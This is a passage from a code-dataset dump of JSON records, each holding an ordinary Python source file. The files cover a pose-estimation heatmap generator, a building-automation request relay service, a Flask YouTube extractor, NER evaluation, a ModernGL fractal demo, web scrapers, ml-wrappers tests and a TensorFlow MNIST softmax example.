{}'.format(len(db)))\n        logger.info('=> num selected db: {}'.format(len(db_selected)))\n        return db_selected\n\n    def generate_target(self, joints, joints_vis):\n        '''\n        :param joints:  [num_joints, 3]\n        :param joints_vis: [num_joints, 3]\n        :return: target, target_weight(1: visible, 0: invisible)\n        '''\n        target_weight = np.ones((self.num_joints, 1), dtype=np.float32)\n        target_weight[:, 0] = joints_vis[:, 0]\n\n        assert self.target_type == 'gaussian', \\\n            'Only support gaussian map now!'\n\n        if self.target_type == 'gaussian':\n            target = np.zeros((self.num_joints,\n                               self.heatmap_size[1],\n                               self.heatmap_size[0]),\n                              dtype=np.float32)\n\n            tmp_size = self.sigma * 3\n\n            for joint_id in range(self.num_joints):  # 遍历5个特征点\n                feat_stride = self.image_size / self.heatmap_size # feat_stride[0]，feat_stride[1]分别表示在高， 宽方向的步长\n                mu_x = int(joints[joint_id][0] / feat_stride[0] + 0.5)  # 图像由256 * 256转换成 64 * 64后，特征点idx的新坐标mu_x =43\n                mu_y = int(joints[joint_id][1] / feat_stride[1] + 0.5)  # 图像由256 * 256转换成 64 * 64后，特征点idx的新坐标mu_y =23\n                # Check that any part of the gaussian is in-bounds\n                ul = [int(mu_x - tmp_size), int(mu_y - tmp_size)]              # ul == up left（x,y）\n                br = [int(mu_x + tmp_size + 1), int(mu_y + tmp_size + 1)]      # br == bottom right(x,y)\n                if ul[0] >= self.heatmap_size[0] or ul[1] >= self.heatmap_size[1] \\\n                        or br[0] < 0 or br[1] < 0:                             # 处理越界\n                    # If not, just return the image as is\n                    target_weight[joint_id] = 0 # 将越界的点，weight置为0\n                    continue\n\n                # # Generate gaussian\n                size = 2 * tmp_size + 1\n                x = np.arange(0, size, 1, np.float32)  # x = [ 0.  1.  2.  3.  4.  5.  6.  7.  8.  9. 10. 11. 12.]\n                y = x[:, np.newaxis]  # y = [[ 0.] [ 1.] [ 2.] [ 3.][ 4.] [ 5.] [ 6.] [ 7.] [ 8.] [ 9.] [10.] [11.] [12.]]\n                x0 = y0 = size // 2 # x0 = y0 == 6, 中心点坐标\n                # The gaussian is not normalized, we want the center value to equal 1\n                g = np.exp(- ((x - x0) ** 2 + (y - y0) ** 2) / (2 * self.sigma ** 2))  # 高斯核， 中心点值最大，为1\n\n                # Usable gaussian range\n                g_x = max(0, -ul[0]), min(br[0], self.heatmap_size[0]) - ul[0]\n                g_y = max(0, -ul[1]), min(br[1], self.heatmap_size[1]) - ul[1]\n                # Image range\n                img_x = max(0, ul[0]), min(br[0], self.heatmap_size[0])  # heatmap上x的范围，img_x = (37, 50)\n                img_y = max(0, ul[1]), min(br[1], self.heatmap_size[1])  # heatmap上y的范围，(17, 30)\n\n                v = target_weight[joint_id] # joint_id 为 1,2,3,4,5\n                if v > 0.5:\n                    target[joint_id][img_y[0]:img_y[1], img_x[0]:img_x[1]] = g[g_y[0]:g_y[1], g_x[0]:g_x[1]]  # 将高斯核的值赋上去\n\n        return target, target_weight\n\n\n\n","repo_name":"JiangShaoYin/heatmap_alignment","sub_path":"lib/dataset/JointsDataset.py","file_name":"JointsDataset.py","file_ext":"py","file_size_in_byte":12426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14078314886","text":"import time\nimport string\nimport urlparse\nimport Cookie\nimport socket\nimport threading\nimport cStringIO\nfrom mpx.lib import msglog\nfrom mpx.lib import httplib\nfrom mpx.lib.thread_pool import NORMAL\nfrom mpx.lib.scheduler import scheduler\nfrom mpx.lib.neode.node import CompositeNode\n\ndef client_cookie(response):\n    cookiesets = response.msg.getheaders('Set-Cookie')\n    cookies = map(Cookie.SimpleCookie, cookiesets)\n    cookiestrings = []\n    for cookie in cookies:\n        morsels = [\"%s=%s\" % (name, morsel.value) \n                   for (name, morsel) in cookie.items()]\n        cookiedata = string.join(morsels, '; ')\n        cookiestrings.append(cookiedata)\n    cookiestring = string.join(cookiestrings, '; ')\n    return cookiestring\n\nclass RequestGetter(CompositeNode):\n    \"\"\"\n        Service that will retrieve commands that would have normally been \n        POSTed to the Mediator's web-server, and then runs those commands\n        as they would have been run if POSTed directly.  The results are \n        then returned via POST on a follow-up request.\n    \"\"\"\n    def __init__(self, *args):\n        self.request_url = ''\n        self.period = 15\n        self.timeout = 15\n        self.debug = 0\n        self._host = ''\n        self._request_path = ''\n        self._port = 80\n        self.scheduled = None\n        self.polls_initiated = 0\n        self.polls_completed = 0\n        self._running = threading.Event()\n        super(RequestGetter, self).__init__(*args)\n    def configure(self, config):\n        super(RequestGetter, self).configure(config)\n        self.request_url = config.get('request_url', self.request_url)\n        self.period = int(config.get('period', self.period))\n        self.timeout = int(config.get('timeout', self.timeout))\n        self.debug = int(config.get('debug', self.debug))\n    def configuration(self):\n        config = super(RequestGetter, self).configuration()\n        config['request_url'] = self.request_url\n        config['period'] = str(self.period)\n        config['timeout'] = str(self.timeout)        \n        config['debug'] = str(self.debug)\n        return config\n    def start(self):\n        if self._running.isSet():\n            raise Exception('Request Service already running.')\n        request_url = self.request_url\n        if not request_url.lower().startswith('http'):\n            request_url = 'http://' + request_url\n        url_tuple = urlparse.urlsplit(request_url)\n        self._host = string.split(url_tuple[1],':')[0]\n        if ':' in url_tuple[1]:\n            self._port = int(string.split(url_tuple[1],':')[1])\n        else: self._port = 80\n        self._request_path = urlparse.urlunsplit(('','') + url_tuple[2:])\n        \n        protocol = url_tuple[0].lower()\n        if protocol == 'https':\n            self._connection_factory = httplib.HTTPSConnection\n        elif protocol == 'http':\n            self._connection_factory = httplib.HTTPConnection\n        else:\n            raise Exception('Protocol %s not supported.' % protocol)\n        self._running.set()\n        self.polls_initiated = 0\n        self.polls_completed = 0\n        self.schedule_polling()\n        return super(RequestGetter, self).start()\n    def stop(self):\n        if self.scheduled:\n            self.scheduled.cancel()\n        self.scheduled = None\n        self._running.clear()\n        return super(RequestGetter, self).stop()\n    def schedule_polling(self):\n        if self.scheduled and not self.scheduled.cancelled():\n            raise TypeError(\"attempting to schedule multiple poll sessions\")\n        self.scheduled = scheduler.every(self.period, self.initiate_poll)\n    def initiate_poll(self):\n        if self.polls_initiated > self.polls_completed:\n            msglog.log(\"broadway\", msglog.types.WARN, \n                       \"Request Service skipping poll \"\n                       \"because previous poll still processing\")\n            return\n        self.polls_initiated += 1\n        NORMAL.queue_noresult(self.poll_server)\n    def poll_server(self):\n        self.debug_message('initiating poll')\n        try: \n            self._request_data()\n        except: \n            msglog.exception(prefix=\"handled\")\n        self.polls_completed += 1\n    def _request_data(self):\n        self.debug_message(\n            'GET %s from %s:%s' % (self._request_path, self._host, self._port))\n        connection = self._connection_factory(self._host, self._port, \n                                              timeout=self.timeout)\n        try: \n            self._conversate(connection)\n        finally:\n            connection.close()\n    def _conversate(self, connection):\n        connection.request('GET', self._request_path)\n        response = connection.getresponse()\n        requestdata = response.read()\n        while requestdata:\n            if not self._running.isSet():\n                error = 'Request Service not running.  Exiting conversation'\n                raise Exception(error)\n            self.debug_message(\n                'response code %s.  Data included.' % (response.status))\n            if response.status >= 400:\n                error = '%s request returned error code %s, reason \"%s\"'\n                error = error % (self.name, response.status, response.reason)\n                msglog.log('broadway', msglog.types.ERR, error)\n                raise TypeError(error)\n            elif not (requestdata.startswith('GET') or \n                      requestdata.startswith('POST')):\n                error = 'Request service retrieved invalid command: %s'\n                raise TypeError(error % requestdata)\n            else:\n                result = self._forward_request(requestdata).read()\n                headers = {'Cookie': client_cookie(response)}\n                self.debug_message('POSTing: ' + result)\n                connection.request('POST', self._request_path, result, headers)\n                response = connection.getresponse()\n                requestdata = response.read()\n        self.debug_message('response code %s' % response.status)\n    def _forward_request(self, requestdata):\n        connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        connection.connect(('localhost', 80))\n        while requestdata:\n            requestdata = requestdata[connection.send(requestdata):]\n        bytesread = -1\n        sioresponse = cStringIO.StringIO()\n        while (bytesread < sioresponse.tell()):\n            bytesread = sioresponse.tell()\n            sioresponse.write(connection.recv(1024))\n        else:\n            sioresponse.seek(0)\n        connection.close()\n        return sioresponse\n    def debug_message(self, dbmessage):\n        if self.debug: \n            message = 'Request Service: %s' % dbmessage\n            msglog.log('broadway',msglog.types.DB, message)\n","repo_name":"mcruse/monotone","sub_path":"broadway/mpx/service/network/http/client/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":6768,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"30359287097","text":"import re\nimport os\nfrom flask import Flask, render_template, request\nfrom utils import REGEX, get_youtube_extract\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef _index():\n    if 'POST' in request.method:\n        youtube_url = request.form.get('youtube_url')\n        if re.match(REGEX, youtube_url):\n            user_dict = get_youtube_extract(youtube_url)\n            audio = user_dict['audio_formats']\n            return render_template('result.html',\n                                   audio_dict=audio,\n                                   thumbnail=user_dict['thumbnail'],\n                                   video_dict=user_dict['video_formats'],\n                                   video_title=user_dict['title'],\n                                   )\n\n    return render_template('home.html')\n\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=os.environ.get(\n        \"PORT\", 5000), use_reloader=True, threaded=True)\n","repo_name":"abhint/youtube-downloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"38"}
{"seq_id":"10731295901","text":"import torch\nimport pickle\nfrom transformers import BertTokenizer\nfrom tqdm import tqdm\nfrom torch.utils.data import DataLoader\nfrom dataloader import Sentence\nPRETRAIN_PATH = 'pretrain/roberta_large/'\n\n\ndef entity_split(x, y, id2tag, entities, cur):\n    start, end = -1, -1\n    cur_category = None\n    for j in range(len(x)):\n        if id2tag[y[j]][:2] == 'B-':\n            start = cur + j\n            cur_category = id2tag[y[j]][2:]\n        elif id2tag[y[j]][:2] == 'I-' and start != -1 and cur_category is not None:\n            if id2tag[y[j]][2:] == cur_category:\n                continue\n            else:\n                start, end = -1, -1\n                cur_category = None\n        elif id2tag[y[j]][:2] == 'E-' and start != -1 and cur_category is not None:\n            if id2tag[y[j]][2:] == cur_category:\n                end = cur + j\n                entities.add((start, end, cur_category))\n            start, end = -1, -1\n            cur_category = None\n        elif id2tag[y[j]][:2] == 'S-':\n            entities.add((cur + j, cur + j, id2tag[y[j]][2:]))\n            start, end = -1, -1\n            cur_category = None\n        else:\n            start, end = -1, -1\n            cur_category = None\n\n\ndef inference():\n    model = torch.load('save/ner/model_epoch29.pkl')\n\n    with open('data/nersave.pkl', 'rb') as inp:\n        tag2id = pickle.load(inp)\n        id2tag = pickle.load(inp)\n        x_train = pickle.load(inp)\n        y_train = pickle.load(inp)\n        x_eval = pickle.load(inp)\n        y_eval = pickle.load(inp)\n        x_test = pickle.load(inp)\n        y_test = pickle.load(inp)\n\n    test_data = DataLoader(\n        dataset=Sentence(x_test, y_test),\n        shuffle=False,\n        batch_size=32,\n        collate_fn=Sentence.collate_fn,\n        drop_last=False,\n        num_workers=6\n    )\n\n    entity_predict = set()\n    entity_label = set()\n    with torch.no_grad():\n        model.eval()\n        cur = 0\n        test_losses = []\n        for sentence, label, mask, length in tqdm(test_data):\n            sentence = sentence.cuda()\n            label = label.cuda()\n            mask = mask.cuda()\n            predict, loss = model.infer(sentence, mask, length, label)\n            test_losses.append(loss)\n\n            for i in range(len(length)):\n                entity_split(sentence[i, :length[i]], predict[i], id2tag, entity_predict, cur)\n                entity_split(sentence[i, :length[i]], label[i, :length[i]], id2tag, entity_label, cur)\n                cur += length[i]\n\n        test_loss = sum(test_losses) / len(test_losses)\n\n        right_predict = [i for i in entity_predict if i in entity_label]\n        precision = 0.0\n        recall = 0.0\n        fscore = 0.0\n        if len(right_predict) != 0:\n            precision = float(len(right_predict)) / len(entity_predict)\n            recall = float(len(right_predict)) / len(entity_label)\n            fscore = (2 * precision * recall) / (precision + recall)\n\n        print(\"NER inference result:\")\n        print(\"loss: %f\" % test_loss)\n        print(\"precision: %f\" % precision)\n        print(\"recall: %f\" % recall)\n        print(\"f1-score: %f\" % fscore)\n        model.train()\n\n\nif __name__ == '__main__':\n    inference()\n\n","repo_name":"Zpluz/Curriculum-lab","sub_path":"nlplab/Bi-LSTM+CRF/ner_infer.py","file_name":"ner_infer.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26207576061","text":"import ModernGL\nfrom ModernGL.ext.examples import run_example\nimport numpy as np\n\n\nclass Example:\n    def __init__(self, wnd):\n        self.wnd = wnd\n        self.ctx = ModernGL.create_context()\n\n        self.prog = self.ctx.program([\n            self.ctx.vertex_shader('''\n                #version 330\n\n                in vec2 in_vert;\n                out vec2 v_text;\n\n                void main() {\n                    gl_Position = vec4(in_vert, 0.0, 1.0);\n                    v_text = in_vert / 2.0 + 0.5;\n                }\n            '''),\n            self.ctx.fragment_shader('''\n                #version 330\n\n                in vec2 v_text;\n                out vec4 f_color;\n\n                uniform vec2 Center;\n                uniform int Iter;\n\n                void main() {\n                    vec2 z = vec2(5.0 * (v_text.x - 0.5), 3.0 * (v_text.y - 0.5));\n                    vec2 c = Center;\n\n                    int i;\n                    for(i = 0; i < Iter; i++) {\n                        vec2 v = vec2(\n                            (z.x * z.x - z.y * z.y) + c.x,\n                            (z.y * z.x + z.x * z.y) + c.y\n                        );\n                        if (dot(v, v) > 4.0) break;\n                        z = v;\n                    }\n\n                    float cm = fract((i == Iter ? 0.0 : float(i)) * 10 / Iter);\n                    f_color = vec4(\n                        fract(cm + 0.0 / 3.0),\n                        fract(cm + 1.0 / 3.0),\n                        fract(cm + 2.0 / 3.0),\n                        1.0\n                    );\n                }\n            ''')\n        ])\n\n        self.center = self.prog.uniforms['Center']\n        self.iter = self.prog.uniforms['Iter']\n\n        vertices = np.array([-1.0, -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0])\n\n        self.vbo = self.ctx.buffer(vertices.astype('f4').tobytes())\n        self.vao = self.ctx.simple_vertex_array(self.prog, self.vbo, ['in_vert'])\n\n    def render(self):\n        self.ctx.viewport = self.wnd.viewport\n        self.ctx.clear(1.0, 1.0, 1.0)\n\n        self.center.value = (0.49, 0.32)\n        self.iter.value = 100\n\n        self.vao.render(ModernGL.TRIANGLE_STRIP)\n\n\nrun_example(Example)\n","repo_name":"ubuntunux/WorkSpace","sub_path":"PythonProject/ModernGL_examples/julia_fractal.py","file_name":"julia_fractal.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"38314617865","text":"import glob\nimport os\nimport argparse\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-d\", \"--dataset\", required=True,help=\".path to rename dataset\")\nargs = vars(ap.parse_args())\n\ninput_path = args[\"dataset\"] + '/*'\n\nd_files = glob.glob(input_path)\nn = 1 \nfor fn in d_files:\n    file_name, file_extension = os.path.splitext(fn)\n    os.rename(fn,args[\"dataset\"] + '/pic-'+ str(n) + file_extension)\n    n = n + 1","repo_name":"PongCupz/mlv-drowning-detection","sub_path":"file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"15129736423","text":"from subprocess import call, CREATE_NO_WINDOW\nfrom time import sleep\n\nfrom PIL import Image, ImageOps\n\n# def make_square(fn, background_color):\n#     graph = Image.open(fn)\n#     width, height = graph.size\n#     if width == height:\n#         pass\n#     elif width > height:\n#         result = Image.new(graph.mode, (width, width), background_color)\n#         result.paste(graph, (0, (width - height) // 2))\n#         result.save(fn)\n#     else:\n#         result = Image.new(graph.mode, (height, height), background_color)\n#         result.paste(graph, ((height - width) // 2, 0))\n#         result.save(fn)\n#     return fn\n\ndef fix_size(fn):\n    target_height = 300\n    target_width = 500\n    graph = Image.open(fn)\n    # h, w = graph.size\n    graph = ImageOps.crop(graph, 5)\n    target_ratio = target_height / target_width\n    im_ratio = graph.height / graph.width\n    if target_ratio > im_ratio:\n        # It must be fixed by width\n        resize_width = target_width\n        resize_height = round(resize_width * im_ratio)\n    else:\n        # Fixed by height\n        resize_height = target_height\n        resize_width = round(resize_height / im_ratio)\n\n    image_resize = graph.resize((resize_width, resize_height), Image.ANTIALIAS)\n    background = Image.new(graph.mode, (target_width, target_height), '#ffffff00')\n    offset = (round((target_width - resize_width) / 2), round((target_height - resize_height) / 2))\n    background.paste(image_resize, offset)\n    background.save(fn)\n\n#####################################################\n# This is from TK version and needs to be revised\ndef make_graph(arcs: list, selected_app: str, ref: str, nodes: list, main_dir, bg_color, text_color, line_color, orientation):\n    if isinstance(selected_app, tuple):\n        selected_app = f'{selected_app[0]}–{selected_app[1]}'\n    graph_data = [f'\\t{\" \".join(nodes)}']\n    for arc in arcs:\n        graph_data.append(f'\\t{arc[\"from\"]} -> {arc[\"to\"]} [fillcolor=\"orange\", color=\"{line_color}\"]')\n    graph_data = '\\n'.join(graph_data)\n\n    with open(f'{main_dir}/resources/template.dot', 'r', encoding='utf-8') as file:\n        template = file.read()\n\n    template = template.replace('zzz', graph_data)\n    template = template.replace('_bg_color_', bg_color)\n    template = template.replace('_font_color_', text_color)\n    template = template.replace('_orientation_', orientation)\n    # filename = f'{ref}U{selected_app}'\n\n    # fn = f'{output_dir}/graphs/{filename}' # since it seems better not to rely on saved pngs,\n                                                 # I'll use a temp file instead\n    try:\n        with open('.temp_graph.dot', 'w', encoding='utf-8') as file:\n            file.write(template)\n    except PermissionError:\n        print('Permission Error. Trying again')\n        sleep(.1)\n        try:\n            with open('.temp_graph.dot', 'w', encoding='utf-8') as file:\n                file.write(template)\n        except:\n            return    \n\n    call(f\"dot -Tpng .temp_graph.dot -o .temp_graph.png\", creationflags=CREATE_NO_WINDOW)\n\n    fix_size('.temp_graph.png')\n    ","repo_name":"d-flood/apparatus-explorer","sub_path":"apparatusexplorer/src/apparatusexplorer/process_graph.py","file_name":"process_graph.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"}
{"seq_id":"27153506490","text":"def isValid(s):\n    for i in range(len(s)):\n        if \"()\" in s:\n            s=s.replace(\"()\",\"\")\n            print(s)\n        if \"[]\" in s:\n            s=s.replace(\"[]\",\"\")\n            print(s)\n        if \"{}\" in s:\n            s=s.replace(\"{}\",\"\")\n            print(s)\n    if s == \"\":\n        return True\n    else:\n        return False","repo_name":"anmorgan24/Interview-prep","sub_path":"Leetcode/0022_isValid2.py","file_name":"0022_isValid2.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38219303098","text":"from django.shortcuts import render\nfrom collections import OrderedDict\nfrom operator import getitem\n\nfrom . import scaper_python\n\ndef main_page(request):\n    # dict_data = {1: {'name': 'APPLE iPhone 11 (Black, 128 GB)', 'price': '₹46,990', 'rating': '4.6', 'link': 'flipkart.com/apple-iphone-11-black-128-gb/p/itm8244e8d955aba?pid=MOBFWQ6BKRYBP5X8&lid=LSTMOBFWQ6BKRYBP5X8IBG6BS&marketplace=FLIPKART&q=iphone&store=tyy%2F4io&srno=s_1_1&otracker=AS_Query_TrendingAutoSuggest_8_0_na_na_na&otracker1=AS_Query_TrendingAutoSuggest_8_0_na_na_na&fm=organic&iid=07715227-f7cc-4986-a4c7-f177b45da8cf.MOBFWQ6BKRYBP5X8.SEARCH&ppt=None&ppn=None&ssid=9sjljr8mw00000001666867585256&qH=0b3f45b266a97d70'}}\n    dict_data = {}\n    search_item = ''\n    if request.method == 'GET':\n        print(request.GET.__str__())\n        _search_item = request.GET.get(\"searchItem\", \"\")\n        search_item = _search_item\n        _sort_by = request.GET.get(\"sort\")\n        print(_search_item)\n        print(_sort_by)\n        dict_data = scaper_python.extract_all_data(_search_item)\n        dict_data = OrderedDict(sorted(dict_data.items(), key=lambda x: float(getitem(x[1], _sort_by)), reverse=True))\n        dict_data = {k: v for k, v in dict_data.items()}\n    if request.method == 'POST':\n        search_item = request.POST['search-input']\n        dict_data = scaper_python.extract_all_data(search_item)\n    return render(request, 'main_search.html', {'data': dict_data, 'searchItem': search_item})\n\n\ndef sorted_data(request):\n    pass\n\n\n# def search(request):\n#     if request.method == \"POST\":\n#         searched = request.POST['search']\n#         print(searched)\n#         return searched\n","repo_name":"spattanaik74/django-crawler-extraction","sub_path":"crawler/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11367085472","text":"import pandas as pd\nimport pytest\nfrom common_utils import (create_keras_classifier, create_keras_regressor,\n                          create_lightgbm_classifier,\n                          create_lightgbm_regressor,\n                          create_pytorch_multiclass_classifier,\n                          create_pytorch_regressor,\n                          create_scikit_keras_multiclass_classifier,\n                          create_scikit_keras_regressor,\n                          create_sklearn_linear_regressor,\n                          create_sklearn_logistic_regressor, create_tf_model,\n                          create_xgboost_classifier, create_xgboost_regressor)\nfrom constants import DatasetConstants\nfrom ml_wrappers import wrap_model\nfrom ml_wrappers.dataset.dataset_wrapper import DatasetWrapper\nfrom train_wrapper_utils import (train_classification_model_numpy,\n                                 train_classification_model_pandas,\n                                 train_regression_model_numpy,\n                                 train_regression_model_pandas)\nfrom wrapper_validator import validate_wrapped_regression_model\n\ntry:\n    import tensorflow as tf\nexcept ImportError:\n    pass\n\n\n@pytest.mark.usefixtures('_clean_dir')\nclass TestModelWrapper(object):\n    def test_wrap_sklearn_logistic_regression_model(self, iris):\n        train_classification_model_numpy(\n            create_sklearn_logistic_regressor, iris)\n        train_classification_model_pandas(\n            create_sklearn_logistic_regressor, iris)\n        train_classification_model_numpy(\n            create_sklearn_logistic_regressor, iris,\n            use_dataset_wrapper=False)\n        train_classification_model_pandas(\n            create_sklearn_logistic_regressor, iris,\n            use_dataset_wrapper=False)\n\n    def test_wrap_pytorch_classification_model(self, iris):\n        train_classification_model_numpy(\n            create_pytorch_multiclass_classifier, iris)\n        train_classification_model_numpy(\n            create_pytorch_multiclass_classifier, iris,\n            use_dataset_wrapper=False)\n\n    def test_wrap_xgboost_classification_model(self, iris):\n        train_classification_model_numpy(create_xgboost_classifier, iris)\n        train_classification_model_pandas(create_xgboost_classifier, iris)\n\n    def test_wrap_lightgbm_classification_model(self, iris):\n        train_classification_model_numpy(create_lightgbm_classifier, iris)\n        train_classification_model_pandas(create_lightgbm_classifier, iris)\n\n    def test_wrap_keras_classification_model(self, iris):\n        train_classification_model_numpy(create_keras_classifier, iris)\n        train_classification_model_pandas(create_keras_classifier, iris)\n\n    def test_wrap_scikit_keras_classification_model(self, iris):\n        train_classification_model_numpy(create_scikit_keras_multiclass_classifier, iris)\n        train_classification_model_pandas(create_scikit_keras_multiclass_classifier, iris)\n\n    def test_wrap_sklearn_linear_regression_model(self, housing):\n        train_regression_model_numpy(\n            create_sklearn_linear_regressor, housing)\n        train_regression_model_pandas(\n            create_sklearn_linear_regressor, housing)\n        train_regression_model_numpy(\n            create_sklearn_linear_regressor, housing,\n            use_dataset_wrapper=False)\n        train_regression_model_pandas(\n            create_sklearn_linear_regressor, housing,\n            use_dataset_wrapper=False)\n\n    def test_wrap_pytorch_regression_model(self, housing):\n        train_regression_model_numpy(\n            create_pytorch_regressor, housing)\n\n    def test_wrap_xgboost_regression_model(self, housing):\n        train_regression_model_numpy(create_xgboost_regressor, housing)\n        train_regression_model_pandas(create_xgboost_regressor, housing)\n\n    def test_wrap_lightgbm_regression_model(self, housing):\n        train_regression_model_numpy(create_lightgbm_regressor, housing)\n        train_regression_model_pandas(create_lightgbm_regressor, housing)\n\n    def test_wrap_keras_regression_model(self, housing):\n        train_regression_model_numpy(create_keras_regressor, housing)\n        train_regression_model_pandas(create_keras_regressor, housing)\n\n    def test_wrap_scikit_keras_regression_model(self, housing):\n        train_regression_model_numpy(create_scikit_keras_regressor, housing)\n        train_regression_model_pandas(create_scikit_keras_regressor, housing)\n\n    def test_batch_dataset(self, housing):\n        X_train = housing[DatasetConstants.X_TRAIN]\n        X_test = housing[DatasetConstants.X_TEST]\n        y_train = housing[DatasetConstants.Y_TRAIN]\n        y_test = housing[DatasetConstants.Y_TEST]\n        features = housing[DatasetConstants.FEATURES]\n        X_train_df = pd.DataFrame(X_train, columns=list(features))\n        X_test_df = pd.DataFrame(X_test, columns=list(features))\n        inp = (dict(X_train_df), y_train)\n        inp_ds = tf.data.Dataset.from_tensor_slices(inp).batch(32)\n        val = (dict(X_test_df), y_test)\n        val_ds = tf.data.Dataset.from_tensor_slices(val).batch(32)\n        model = create_tf_model(inp_ds, val_ds, features)\n        wrapped_dataset = DatasetWrapper(val_ds)\n        wrapped_model = wrap_model(model, wrapped_dataset, model_task='regression')\n        validate_wrapped_regression_model(wrapped_model, val_ds)\n","repo_name":"restevesd/ml-wrappers","sub_path":"tests/test_model_wrapper.py","file_name":"test_model_wrapper.py","file_ext":"py","file_size_in_byte":5366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"12515917162","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport re\nfrom bs4 import BeautifulSoup\nimport scrape_common as sc\n\nbase_url = 'https://www.jura.ch'\nurl = f'{base_url}/fr/Autorites/Coronavirus/Infos-Actualite/Statistiques-COVID/Evolution-des-cas-COVID-19-dans-le-Jura.html'\nd = sc.download(url, silent=True)\nd = d.replace('&nbsp;', ' ')\nsoup = BeautifulSoup(d, 'html.parser')\n\npdf_url = soup.find('a', title=re.compile(r'Situation.*PDF.*')).get('href')\nif not pdf_url.startswith('http'):\n    pdf_url = f'{base_url}{pdf_url}'\npdf_url = pdf_url.replace('?download=1', '')\n\npdf = sc.download_content(pdf_url, silent=True)\n\ntd = sc.TestData(canton='JU', url=pdf_url)\n\ncontent = sc.pdftotext(pdf, page=1)\ntd.week = sc.find(r'Situation semaine épidémiologique (\\d+)', content)\ntd.year = sc.find(r'Du \\d+.* (\\d{4})', content)\n\ncontent = sc.pdftotext(pdf, page=2)\ntd.total_tests = sc.find(r'Nombre de tests\\d?\\s+(\\d+)', content)\nres = re.match(r'.*Nombre de tests positifs .*\\s+(\\d+)\\s+\\((\\d+\\.?\\d?)%\\s?\\d?\\)', content, re.DOTALL | re.MULTILINE)\nassert res, 'failed to find number of positive tests and positivity rate'\ntd.positive_tests = res[1]\ntd.positivity_rate = res[2]\n\nprint(td)\n","repo_name":"openZH/covid_19","sub_path":"scrapers/scrape_ju_tests.py","file_name":"scrape_ju_tests.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":430,"dataset":"github-code","pt":"38"}
{"seq_id":"24990184287","text":"class Solution:\n    def perm(self,A,B):\n        count_D = A.count('D')\n        result = []\n        result.append(count_D+1)\n        low = count_D\n        high = count_D+2\n\n        for i in A:\n            if i =='I':\n                result.append(high)\n                high += 1\n            else:\n                result.append(low)\n                low -= 1\n        return result","repo_name":"sainihimanshu1999/Interview-Bit","sub_path":"LEVEL 2/Arrays/findpermutations.py","file_name":"findpermutations.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29567905327","text":"get_ipython().magic('load_ext watermark')\nget_ipython().magic(\"watermark -a 'Sebastian Raschka' -v -p tensorflow\")\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\n##########################\n### DATASET\n##########################\n\nmnist = input_data.read_data_sets(\"./\", one_hot=True)\n\n\n##########################\n### SETTINGS\n##########################\n\n# Hyperparameters\nlearning_rate = 0.5\ntraining_epochs = 30\nbatch_size = 256\n\n# Architecture\nn_features = 784\nn_classes = 10\n\n\n##########################\n### GRAPH DEFINITION\n##########################\n\ng = tf.Graph()\nwith g.as_default():\n\n    # Input data\n    tf_x = tf.placeholder(tf.float32, [None, n_features])\n    tf_y = tf.placeholder(tf.float32, [None, n_classes])\n\n    # Model parameters\n    params = {\n        'weights': tf.Variable(tf.zeros(shape=[n_features, n_classes],\n                                               dtype=tf.float32), name='weights'),\n        'bias': tf.Variable([[n_classes]], dtype=tf.float32, name='bias')}\n\n    # Softmax regression\n    linear = tf.matmul(tf_x, params['weights']) + params['bias']\n    pred_proba = tf.nn.softmax(linear, name='predict_probas')\n    \n    # Loss and optimizer\n    cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n        logits=linear, labels=tf_y), name='cost')\n    optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate)\n    train = optimizer.minimize(cost, name='train')\n\n    # Class prediction\n    pred_labels = tf.argmax(pred_proba, 1, name='predict_labels')\n    correct_prediction = tf.equal(tf.argmax(tf_y, 1), pred_labels)\n    accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name='accuracy')\n\n    \n##########################\n### TRAINING & EVALUATION\n##########################\n\nwith tf.Session(graph=g) as sess:\n    sess.run(tf.global_variables_initializer())\n\n    for epoch in range(training_epochs):\n        avg_cost = 0.\n        total_batch = mnist.train.num_examples // batch_size\n\n        for i in range(total_batch):\n            batch_x, batch_y = mnist.train.next_batch(batch_size)\n            _, c = sess.run(['train', 'cost:0'], feed_dict={tf_x: batch_x,\n                                                            tf_y: batch_y})\n            avg_cost += c\n        \n        train_acc = sess.run('accuracy:0', feed_dict={tf_x: mnist.train.images,\n                                                      tf_y: mnist.train.labels})\n        valid_acc = sess.run('accuracy:0', feed_dict={tf_x: mnist.validation.images,\n                                                      tf_y: mnist.validation.labels})  \n        \n        